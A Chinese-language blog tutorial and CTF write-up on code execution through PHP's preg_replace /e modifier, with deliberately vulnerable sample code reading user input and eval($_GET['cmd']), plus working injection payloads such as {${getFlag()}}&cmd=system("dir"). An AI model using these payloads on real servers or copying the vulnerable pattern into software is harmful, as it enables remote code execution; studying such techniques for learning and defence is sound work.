您现在的位置是:首页 >技术交流 >关于preg_replace e的代码执行网站首页技术交流
关于preg_replace e的代码执行
今天做题的时候,遇到一个很有趣的题目,preg_replace大家都熟悉吧,这个大多是用来过滤使用的,但是说你没想到这个也可以进行命令执行吧。
注意:下面的方法在php7被禁用了
基础
第一阶段-讲解preg_replace
首先我们来了解preg_replace,这是一个php中的函数,主要用于执行一个正则表达式的搜索和替换。
搜索:preg_replace(正则表达式,主字符串)
替换:preg_replace(正则表达式,替换字符串,主字符串)
好这样就明白了
第二阶段-子模式捕获匹配
首先我们来了解一下,什么是子模式的捕获匹配
下面先来一个实例
<?php
$str = "abcdec";
$new_str = preg_replace("/(abc)(dec)/", '2-1', $str);
echo $new_str;
//回显dec-abc
首先这里的过滤表达式是/(abc)(dec)/,这里其中就有两个子模式(abc)和(dec)
在这里面大家肯定注意到了2和1,这两个其中1就是代表(abc)子模式的结果,2就是(dec)子模式的结果
下面我们在看一个实例
<?php
$str = "abcabcabc";
$new_str = preg_replace("/(a)(b)(c)/", '321-', $str);
echo $new_str;
//回显cba-cba-cba-
这里我们分析一下上面,实际上abcabcabc被分成了三组,每组中都是abc,然后再分别取出对应的字符
我们可以这样理解/(a)(b)(c)/可以看成4个过滤表达式,首先过滤/abc/,然后过滤/a/给1,过滤/b/给2,过滤/c/给3
下面是检验,我们的猜测
<?php
$str = "babc aabc cabc";
$new_str = preg_replace("/(a)(b)(c)/", '321', $str);
echo $new_str;
//回显bcba acba ccba
这里我们可以看到他是没有管多出来的字符的,验证正确
第三阶段-/e执行
我们都知道在正则表达式,可以使用一些修饰符列如i、m、g之类的,这里介绍一个e
/e修饰符会将替换字符串作为PHP代码执行
使用方法也很简单,下面是实例
<?php
$a = "phpinfo";
$str = 'string';
$new_str = preg_replace('/abc/e', $a(), $str);
//执行了phpinfo();
第四阶段-子模式和/e的应用场景
这里我们可以控制$a和$str的值,那么怎么执行代码呢,其实我这里挺明显的了,相信大家都可以看出来。
<?php
$a = $_GET['a'];
$str = $_GET['b'];
$new_str = preg_replace('/('.$a.')/e', "\1", $str);
应该有人注意到了我这里使用的其实是\1
因为在PHP的双引号字符串中,要表达一个""(反斜杠),我们需要使用"\"(两个反斜杠)进行转义
1 不会执行,因为它只是一个替换序列,代表相应的子串。
\1 会执行,因为它被视为一个字符串中的代码。
然后这里进过测试可以使用的有
?a=.*&b=phpinfo()
?a=S*&b=phpinfo()
?a=phpinfo()&b=phpinfo()
这里分析一下是为什么,首先这里将上面三个传入下面的时候的样子展示出来
preg_replace('/(.*)/e', "\1", phpinfo());
preg_replace('/(S*)/e', "\1", phpinfo());
preg_replace('/(phpinfo())/e', "\1", phpinfo());
这里我们就讲解第一个了,这里.*是匹配0个或多个字符(任意字符)
然后他就是匹配到了phpinfo(),然后因为他是子模式,所以1的值就是phpinfo(),然后因为在双引号中,转义了,1的值phpinfo()就被当做代码执行了
S*匹配的是非空
phpinfo\(\)就是匹配phpinfo()
实例题目讲解
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "
";
}
function getFlag(){
@eval($_GET['cmd']);
}
首先分析foreach那里,假如我们通过get方法传输?a=b,那么$re的值就是a,$str的值就是b
所以这里$re和$str的值,我们是可以控制的。
这里可以看到其实和上面挺像的,但是我们1的值,被当做strtolower参数的值了,如果被当做他参数的值解析了,我们就不能进行命令执行了,这里我们就要仔细观察了,他里面使用的是双引号,外面使用的单引号。
或许经常使用Python的人对这个不敏感,但是其他语言的人应该就比较敏感了,这里单引号在php代表单纯的字符串不会有任何解析,但是双引号在php中他是可以解析里面的变量的
"{${phpinfo()}}";
这里这个phpinfo()执行了,因为在{}中里面的字符串会被当做变量解析,然后里面这个变量他的值是phpinfo()的值,所以他是执行了phpinfo()
payload:
?S*={${phpinfo()}}
?{${phpinfo()}}={${phpinfo()}}
或者
?S*={${getFlag()}}&cmd=system("dir");
?{${getFlag()}}={${getFlag()}}&cmd=system("dir");
细心的朋友应该发现了,这次为什么没有.*了,因为在php变量的命名规则中是没有点的,所以他解析的时候不会当成点来解析。